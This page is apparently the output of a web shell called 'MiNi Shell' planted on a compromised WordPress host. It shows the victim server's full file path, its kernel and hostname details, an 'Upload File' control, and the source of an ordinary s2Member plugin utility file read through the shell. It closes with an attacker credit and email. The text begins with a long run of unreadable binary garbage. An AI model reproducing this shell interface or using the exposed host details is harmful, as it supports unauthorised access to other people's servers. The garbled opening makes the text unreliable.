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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /hermes/sb_web/sb_web/web/b1536/promotivemedia.ca/biofocus/wp-content/plugins/s2member/includes/classes/

Linux boscustweb5004.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : /hermes/sb_web/sb_web/web/b1536/promotivemedia.ca/biofocus/wp-content/plugins/s2member/includes/classes/utils-gets.inc.php

<?php
/**
* Get utilities.
*
* Copyright: © 2009-2011
* {@link http://www.websharks-inc.com/ WebSharks, Inc.}
* ( coded in the USA )
*
* Released under the terms of the GNU General Public License.
* You should have received a copy of the GNU General Public License,
* along with this software. In the main directory, see: /licensing/
* If not, see: {@link http://www.gnu.org/licenses/}.
*
* @package s2Member\Utilities
* @since 3.5
*/
if (realpath (__FILE__) === realpath ($_SERVER["SCRIPT_FILENAME"]))
	exit ("Do not access this file directly.");
/**/
if (!class_exists ("c_ws_plugin__s2member_utils_gets"))
	{
		/**
		* Get utilities.
		*
		* @package s2Member\Utilities
		* @since 3.5
		*/
		class c_ws_plugin__s2member_utils_gets
			{
				/**
				* Retrieves a unique array of all Category IDs in the database.
				*
				* @package s2Member\Utilities
				* @since 3.5
				*
				* @uses {@link http://codex.wordpress.org/Function_Reference/get_all_category_ids get_all_category_ids()}
				*
				* @return array Unique array of all Category IDs *( as integers )*.
				*/
				public static function get_all_category_ids ()
					{
						if (is_array ($category_ids = /* Uses the WordPress® function for this. */ get_all_category_ids ()))
							$category_ids = c_ws_plugin__s2member_utils_arrays::force_integers ($category_ids);
						/**/
						return (!empty ($category_ids) && is_array ($category_ids)) ? array_unique ($category_ids) : array ();
					}
				/**
				* Retrieves a unique array of all child Category IDs, within a specific parent Category.
				*
				* @package s2Member\Utilities
				* @since 3.5
				*
				* @param int|str $parent_category A numeric Category ID.
				* @return array Unique array of all Category IDs *( as integers )* in ``$parent_category``.
				*/
				public static function get_all_child_category_ids ($parent_category = FALSE)
					{
						if (is_numeric ($parent_category) && is_array ($child_categories = get_categories ("child_of=" . $parent_category . "&hide_empty=0")))
							foreach ($child_categories as /* Go through child Categories. */ $child_category)
								$child_category_ids[] = (int)$child_category->term_id;
						/**/
						return (!empty ($child_category_ids) && is_array ($child_category_ids)) ? array_unique ($child_category_ids) : array ();
					}
				/**
				* Retrieves a unique array of all Tag IDs in the database.
				*
				* @package s2Member\Utilities
				* @since 3.5
				*
				* @return array Unique array of all Tag IDs *( as integers )*.
				*/
				public static function get_all_tag_ids ()
					{
						foreach ((array)get_tags ("hide_empty=0") as $tag)
							$tag_ids[] = (int)$tag->term_id; /* Collect Tag's ID. */
						/**/
						return (!empty ($tag_ids) && is_array ($tag_ids)) ? array_unique ($tag_ids) : array ();
					}
				/**
				* Converts a comma-delimited list of: Tag slugs/names/ids, into a unique array of all IDs.
				*
				* @package s2Member\Utilities
				* @since 111101
				*
				* @param str $tags Tag slugs/names/IDs; comma-delimited.
				* @return array Unique array of Tag IDs *( as integers )*. With Tag slugs/names converted to IDs.
				*/
				public static function get_tags_converted_to_ids ($tags = FALSE)
					{
						foreach (preg_split ("/[\r\n\t;,]+/", (string)$tags) as $tag)
							{
								if (($tag = trim ($tag)) && is_numeric ($tag)) /* Force integers. */
									$tag_ids[] = ($tag_id = (int)$tag); /* Force integer values here. */
								/**/
								else if ($tag && is_string /* A string ( i.e. a tag name or a tag slug )? */ ($tag))
									{
										if (is_object ($term = get_term_by ("name", $tag, "post_tag")))
											$tag_ids[] = (int)$term->term_id;
										/**/
										else if (is_object ($term = get_term_by ("slug", $tag, "post_tag")))
											$tag_ids[] = (int)$term->term_id;
									}
							}
						return (!empty ($tag_ids) && is_array ($tag_ids)) ? array_unique ($tag_ids) : array ();
					}
				/**
				* Retrieves a unique array of all published Post IDs in the database.
				*
				* @package s2Member\Utilities
				* @since 3.5
				*
				* @param str $post_type Optional. If provided, return all Post IDs of a specific Post Type.
				* 	Otherwise, return all Post IDs that are NOT of these Post Types: `page|attachment|nav_menu_item|revision`.
				* @return array Unique array of all Post IDs *( as integers )*, including Custom Post Types; or all Post IDs of a specific Post Type.
				*/
				public static function get_all_post_ids ($post_type = FALSE)
					{
						global $wpdb; /* Need this global DB object reference here. */
						/**/
						if (is_array ($post_ids = $wpdb->get_col ("SELECT `ID` FROM `" . $wpdb->posts . "` WHERE `post_status` = 'publish' AND " . (($post_type) ? "`post_type` = '" . esc_sql ((string)$post_type) . "'" : "`post_type` NOT IN('page','attachment','nav_menu_item','revision')"))))
							$post_ids = c_ws_plugin__s2member_utils_arrays::force_integers ($post_ids);
						/**/
						return (!empty ($post_ids) && is_array ($post_ids)) ? array_unique ($post_ids) : array ();
					}
				/**
				* Retrieves a unique array of all published Page IDs in the database.
				*
				* @package s2Member\Utilities
				* @since 3.5
				*
				* @return array Unique array of all Page IDs *( as integers )*.
				*/
				public static function get_all_page_ids ()
					{
						global $wpdb; /* Need this global DB object reference here. */
						/**/
						if (is_array ($page_ids = $wpdb->get_col ("SELECT `ID` FROM `" . $wpdb->posts . "` WHERE `post_status` = 'publish' AND `post_type` = 'page'")))
							$page_ids = c_ws_plugin__s2member_utils_arrays::force_integers ($page_ids);
						/**/
						return (!empty ($page_ids) && is_array ($page_ids)) ? array_unique ($page_ids) : array ();
					}
				/**
				* Retrieves a unique array of all Singular IDs in the database that require Custom Capabilities.
				*
				* @package s2Member\Utilities
				* @since 111101
				*
				* @return array Unique array of all Singular IDs *( as integers )* that require Custom Capabilities.
				*/
				public static function get_all_singular_ids_with_ccaps ()
					{
						global $wpdb; /* Need this global DB object reference here. */
						/**/
						if (is_array ($singular_ids = $wpdb->get_col ("SELECT `post_id` FROM `" . $wpdb->postmeta . "` WHERE `meta_key` = 's2member_ccaps_req' AND `meta_value` != ''")))
							$singular_ids = c_ws_plugin__s2member_utils_arrays::force_integers ($singular_ids);
						/**/
						return (!empty ($singular_ids) && is_array ($singular_ids)) ? array_unique ($singular_ids) : array ();
					}
				/**
				* Retrieves a unique array of unavailable Singular IDs that require Custom Capabilities.
				*
				* Only returns Singular IDs that require Custom Capabilities;
				* 	and ONLY those which are NOT satisfied by ``$user``.
				*
				* @package s2Member\Utilities
				* @since 111101
				*
				* @param obj $user Optional. A `WP_User` object. If this is a valid `WP_User` object, test against this ``$user``, else all are unavailable.
				* @return array Unique array of all Singular IDs *( as integers )* NOT available to ``$user``, due to Custom Capability Restrictions.
				*/
				public static function get_unavailable_singular_ids_with_ccaps ($user = FALSE)
					{
						global $wpdb; /* Need this global DB object reference here. */
						/**/
						if (is_array ($results = $wpdb->get_results ("SELECT `post_id`, `meta_value` FROM `" . $wpdb->postmeta . "` WHERE `meta_key` = 's2member_ccaps_req' AND `meta_value` != ''")))
							foreach ($results as $r) /* Now we need to check Custom Capabilities against ``$user``. If ``$user`` is a valid `WP_User` object, else all are unavailable. */
								{
									if (!is_object ($user) || empty ($user->ID)) /* No ``$user`` object? Maybe not logged-in?. */
										$singular_ids[] = (int)$r->post_id; /* It's NOT available. There is no ``$user``. */
									/**/
									else if (is_array ($ccaps = /* Make sure we unserialize. */ @unserialize ($r->meta_value)))
										{
											foreach ($ccaps as $ccap) /* Test for Custom Capability Restrictions now. */
												if (strlen ($ccap) && !$user->has_cap ("access_s2member_ccap_" . $ccap))
													{
														$singular_ids[] = (int)$r->post_id; /* It's NOT available. */
														break; /* Break now, no need to continue in this loop. */
													}
										}
								}
						return (!empty ($singular_ids) && is_array ($singular_ids)) ? array_unique ($singular_ids) : array ();
					}
				/**
				* Retrieves a unique array of all Singular IDs that require Specific Post/Page Access.
				*
				* @package s2Member\Utilities
				* @since 111101
				*
				* @param bool $exclude_conflicts Optional. Defaults to false. If true, return ONLY those which are NOT in conflict with any other Restriction Types.
				* 	The ``$exclude_conflicts`` argument should be used whenever we introduce a list of option values to a site owner. Helping them avoid mishaps.
				* 	Please note, the ``$exclude_conflicts`` argument implements a resource-intensive processing routine.
				* @return array Unique array of all Singular IDs *( as integers )* that require Specific Post/Page Access.
				*/
				public static function get_all_singular_ids_with_sp ($exclude_conflicts = FALSE)
					{
						if (is_array (($singular_ids = ($GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["specific_ids"] && is_array ($singular_ids = preg_split ("/[\r\n\t\s;,]+/", $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["specific_ids"]))) ? $singular_ids : array ())))
							$singular_ids = c_ws_plugin__s2member_utils_arrays::force_integers ($singular_ids);
						/**/
						if (!empty ($singular_ids) && is_array ($singular_ids) && $exclude_conflicts /* Return ONLY those which are NOT in conflict with other Restrictions? */)
							{
								$x_ids = array ($GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["login_welcome_page"], $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["membership_options_page"], $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["file_download_limit_exceeded_page"]);
								/**/
								$x_ids = array_merge ($x_ids, c_ws_plugin__s2member_utils_gets::get_all_singular_ids_with_ccaps ());
								/**/
								for ($n = 0; $n <= $GLOBALS["WS_PLUGIN__"]["s2member"]["c"]["levels"]; $n++)
									{
										if ($GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["level" . $n . "_catgs"] === "all")
											{
												$catgs = c_ws_plugin__s2member_utils_gets::get_all_category_ids ();
												$x_ids = array_merge ($x_ids, c_ws_plugin__s2member_utils_gets::get_singular_ids_in_terms ($catgs));
												continue; /* Continue. The `all` specification is absolute. There's nothing more. */
											}
										/**/
										foreach (($catgs = preg_split ("/[\r\n\t\s;,]+/", $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["level" . $n . "_catgs"])) as $catg)
											$catgs = array_merge ($catgs, c_ws_plugin__s2member_utils_gets::get_all_child_category_ids ($catg));
										/**/
										$x_ids = /* Exclude the full list. */ array_merge ($x_ids, c_ws_plugin__s2member_utils_gets::get_singular_ids_in_terms ($catgs));
										unset /* Just a little housekeeping here. */ ($catgs, $catg);
									}
								/**/
								for ($n = 0; $n <= $GLOBALS["WS_PLUGIN__"]["s2member"]["c"]["levels"]; $n++)
									{
										if ($GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["level" . $n . "_ptags"] === "all")
											{
												$tags = c_ws_plugin__s2member_utils_gets::get_all_tag_ids ();
												$x_ids = array_merge ($x_ids, c_ws_plugin__s2member_utils_gets::get_singular_ids_in_terms ($tags));
												continue; /* Continue. The `all` specification is absolute. There's nothing more. */
											}
										/**/
										$tags = c_ws_plugin__s2member_utils_gets::get_tags_converted_to_ids ($GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["level" . $n . "_ptags"]);
										/**/
										$x_ids = /* Exclude the full list. */ array_merge ($x_ids, c_ws_plugin__s2member_utils_gets::get_singular_ids_in_terms ($tags));
										unset /* Just a little housekeeping here. */ ($tags);
									}
								/**/
								for ($n = 0; $n <= $GLOBALS["WS_PLUGIN__"]["s2member"]["c"]["levels"]; $n++)
									{
										if ($GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["level" . $n . "_posts"] === "all")
											{
												$x_ids = array_merge ($x_ids, c_ws_plugin__s2member_utils_gets::get_all_post_ids ());
												continue; /* Continue. The `all` specification is absolute. There's nothing more. */
											}
										/**/
										foreach (($posts = preg_split ("/[\r\n\t\s;,]+/", $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["level" . $n . "_posts"])) as $p)
											if (strpos ($p, "all-") === 0 && preg_match ("/^all-(.+)$/", $p, $m) /* Protecting `all-` of a specific Post Type? */)
												if (is_array ($p_of_type = c_ws_plugin__s2member_utils_gets::get_all_post_ids ($m[1])) && !empty ($p_of_type))
													$x_ids = array_merge /* Merge all Posts of this Post Type. */ ($x_ids, $p_of_type);
										/**/
										$x_ids = /* Exclude the full list too. */ array_merge ($x_ids, $posts);
										unset /* Just a little housekeeping here. */ ($posts, $p, $m, $p_of_type);
									}
								/**/
								for ($n = 0; $n <= $GLOBALS["WS_PLUGIN__"]["s2member"]["c"]["levels"]; $n++)
									{
										if ($GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["level" . $n . "_pages"] === "all")
											{
												$x_ids = array_merge ($x_ids, c_ws_plugin__s2member_utils_gets::get_all_page_ids ());
												continue; /* Continue. The `all` specification is absolute. There's nothing more. */
											}
										/**/
										$pages = preg_split ("/[\r\n\t\s;,]+/", $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["level" . $n . "_pages"]);
										/**/
										$x_ids = /* Exclude the full list. */ array_merge ($x_ids, $pages);
										unset /* Just a little housekeeping here. */ ($pages);
									}
								/**/
								$x_ids = array_unique (c_ws_plugin__s2member_utils_arrays::force_integers ($x_ids));
								$singular_ids = /* Exclude all of the ``$x_ids`` now. */ array_diff ($singular_ids, $x_ids);
							}
						return (!empty ($singular_ids) && is_array ($singular_ids)) ? array_unique ($singular_ids) : array ();
					}
				/**
				* Retrieves a unique array of unavailable Singular IDs that require Specific Post/Page Access.
				*
				* Only returns Singular IDs that require Specific Post/Page Access;
				* 	and ONLY those which are NOT satisfied by the current Visitor.
				*
				* @package s2Member\Utilities
				* @since 111101
				*
				* @param bool $exclude_conflicts Optional. Defaults to false. If true, return ONLY those which are NOT in conflict with any other Restriction Types.
				* 	The ``$exclude_conflicts`` argument should be used whenever we introduce a list of option values to a site owner. Helping them avoid mishaps.
				* 	Please note, the ``$exclude_conflicts`` argument implements a resource-intensive processing routine.
				* @return array Unique array of all Singular IDs *( as integers )* NOT available to current Visitor, due to Specific Post/Page Restrictions.
				*/
				public static function get_unavailable_singular_ids_with_sp ($exclude_conflicts = FALSE)
					{
						if ($GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["specific_ids"] && is_array ($_singular_ids = preg_split ("/[\r\n\t\s;,]+/", $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["specific_ids"])))
							foreach ($_singular_ids as $_singular_id) /* Now check access to this Singular, against the current Visitor, via read-only ``c_ws_plugin__s2member_sp_access::sp_access()``. */
								if (is_numeric ($_singular_id) && !c_ws_plugin__s2member_sp_access::sp_access ($_singular_id, "read-only"))
									$singular_ids[] = (int)$_singular_id;
						/**/
						if (!empty ($singular_ids) && is_array ($singular_ids) /* And, are we excluding conflicts in this instance? */ && $exclude_conflicts)
							{
								$all_singular_ids_not_conflicting = c_ws_plugin__s2member_utils_gets::get_all_singular_ids_with_sp ("exclude-conflicts");
								foreach /* Weed out anything that's in conflict here. */ ($singular_ids as $s => $singular_id)
									if (!in_array ($singular_id, $all_singular_ids_not_conflicting))
										unset ($singular_ids[$s]);
							}
						/**/
						return (!empty ($singular_ids) && is_array ($singular_ids)) ? array_unique ($singular_ids) : array ();
					}
				/**
				* Retrieves a unique array of all published Singulars, protected with Specific Post/Page Access.
				*
				* @package s2Member\Utilities
				* @since 111101
				*
				* @uses {@link http://codex.wordpress.org/Function_Reference/get_posts get_posts()}
				*
				* @param bool $exclude_conflicts Optional. Defaults to false. If true, return ONLY those which are NOT in conflict with any other Restriction Types.
				* 	The ``$exclude_conflicts`` argument should be used whenever we introduce a list of option values to a site owner. Helping them avoid mishaps.
				* 	Please note, the ``$exclude_conflicts`` argument implements a resource-intensive processing routine.
				* @return array Unique array of all Singulars *(i.e. Posts/Pages )* protected with Specific Post/Page Access.
				* 	Includes Custom Post Types also, as specified by site owner's Specific Post/Page Restrictions.
				*/
				public static function get_all_singulars_with_sp ($exclude_conflicts = FALSE)
					{
						$singulars = ($GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["specific_ids"] && is_array ($singulars = get_posts ("post_status=publish&post_type=any&include=" . $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["specific_ids"]))) ? $singulars : array ();
						/**/
						if (!empty ($singulars) && is_array ($singulars) /* And, are we excluding conflicts in this instance? */ && $exclude_conflicts)
							{
								$all_singular_ids_not_conflicting = c_ws_plugin__s2member_utils_gets::get_all_singular_ids_with_sp ("exclude-conflicts");
								foreach /* Weed out anything that's in conflict here. */ ($singulars as $s => $singular)
									if (!in_array ($singular->ID, $all_singular_ids_not_conflicting))
										unset ($singulars[$s]);
							}
						return (!empty ($singulars) && is_array ($singulars)) ? c_ws_plugin__s2member_utils_arrays::array_unique ($singulars) : array ();
					}
				/**
				* Retrieves a unique array of Singular IDs in the database, within specific term IDs.
				*
				* Only returns Singular IDs that are within the ``$terms`` passed through this function.
				*
				* @package s2Member\Utilities
				* @since 110912
				*
				* @param array $terms Required. An array of term IDs.
				* @return array Unique array of all Singular IDs *( as integers )* within the ``$terms`` passed through this function.
				*/
				public static function get_singular_ids_in_terms ($terms = FALSE)
					{
						global $wpdb; /* Need this global DB object reference here. */
						/**/
						if (!empty ($terms) && is_array ($terms) && is_array ($singular_ids = $wpdb->get_col ("SELECT `object_id` FROM `" . $wpdb->term_relationships . "` WHERE `term_taxonomy_id` IN (SELECT `term_taxonomy_id` FROM `" . $wpdb->term_taxonomy . "` WHERE `term_id` IN('" . implode ("','", $terms) . "'))")))
							$singular_ids = c_ws_plugin__s2member_utils_arrays::force_integers ($singular_ids);
						/**/
						return (!empty ($singular_ids) && is_array ($singular_ids)) ? array_unique ($singular_ids) : array ();
					}
			}
	}
?>

Creat By MiNi SheLL
Email: devilkiller@gmail.com